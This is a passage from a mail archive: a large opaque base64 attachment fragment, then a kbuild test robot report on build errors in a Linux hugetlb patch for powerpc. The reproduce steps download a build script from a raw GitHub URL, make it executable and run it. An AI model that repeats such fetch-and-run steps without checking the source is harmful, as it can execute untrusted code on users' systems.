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
pBxW4BnkQPk/jjxRWmCmAAA=

--NzB8fVQJ5HfG6fxh--


From - Thu Nov 08 21:41:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 08/11] hugetlb: Introduce generic version of
 prepare_hugepage_range
Date: Thu, 5 Jul 2018 17:39:47 +0800
Lines: 319
Approved: news@gmane.org
Message-ID: <201807051714.BBlsWblH%fengguang.wu@intel.com>
References: <20180705051640.790-9-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="BOKacYhQ+x31HxR3"
X-Trace: blaine.gmane.org 1530783532 5974 195.159.176.226 (5 Jul 2018 09:38:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 09:38:52 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org, Alexandre Ghiti <alex@ghiti.fr>
To: Alexandre Ghiti <alex@ghiti.fr>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 11:38:45 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb0ip-0001My-N6
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 11:38:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753322AbeGEJkv (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 05:40:51 -0400
Original-Received: from mga01.intel.com ([192.55.52.88]:50333 "EHLO mga01.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752802AbeGEJkt (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 05:40:49 -0400
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from fmsmga004.fm.intel.com ([10.253.24.48])
  by fmsmga101.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 05 Jul 2018 02:40:48 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.51,311,1526367600"; 
   d="gz'50?scan'50,208,50";a="68851590"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by fmsmga004.fm.intel.com with ESMTP; 05 Jul 2018 02:40:43 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <lkp@intel.com>)
        id 1fb0kk-000Vmf-Eh; Thu, 05 Jul 2018 17:40:42 +0800
Content-Disposition: inline
In-Reply-To: <20180705051640.790-9-alex@ghiti.fr>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: lkp@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812208 gmane.linux.ports.arm.kernel:660960 gmane.linux.ports.ia64:28908 gmane.linux.ports.mips.general:65268 gmane.linux.ports.parisc:28759 gmane.linux.ports.ppc64.devel:159706 gmane.linux.ports.sh.devel:57181 gmane.linux.ports.sparc:28083 gmane.linux.kernel.cross-arch:45032
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812208>


--BOKacYhQ+x31HxR3
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Alexandre,

Thank you for the patch! Perhaps something to improve:

[auto build test WARNING on linus/master]
[also build test WARNING on v4.18-rc3 next-20180704]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Alexandre-Ghiti/hugetlb-Factorize-hugetlb-architecture-primitives/20180705-135909
config: powerpc-mpc8540_ads_defconfig (attached as .config)
compiler: powerpc-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        GCC_VERSION=7.2.0 make.cross ARCH=powerpc 

All warnings (new ones prefixed by >>):

   In file included from arch/powerpc/kernel/setup-common.c:37:0:
   include/linux/hugetlb.h:191:65: error: expected identifier or '(' before '{' token
    #define hugetlb_free_pgd_range(tlb, addr, end, floor, ceiling) ({BUG(); 0; })
                                                                    ^
   include/asm-generic/hugetlb.h:44:20: note: in expansion of macro 'hugetlb_free_pgd_range'
    static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
                       ^~~~~~~~~~~~~~~~~~~~~~
   include/linux/hugetlb.h:187:50: error: expected identifier or '(' before '-' token
    #define prepare_hugepage_range(file, addr, len) (-EINVAL)
                                                     ^
>> include/asm-generic/hugetlb.h:91:19: note: in expansion of macro 'prepare_hugepage_range'
    static inline int prepare_hugepage_range(struct file *file,
                      ^~~~~~~~~~~~~~~~~~~~~~

vim +/prepare_hugepage_range +91 include/asm-generic/hugetlb.h

    42	
    43	#ifndef __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
  > 44	static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
    45			unsigned long addr, unsigned long end,
    46			unsigned long floor, unsigned long ceiling)
    47	{
    48		free_pgd_range(tlb, addr, end, floor, ceiling);
    49	}
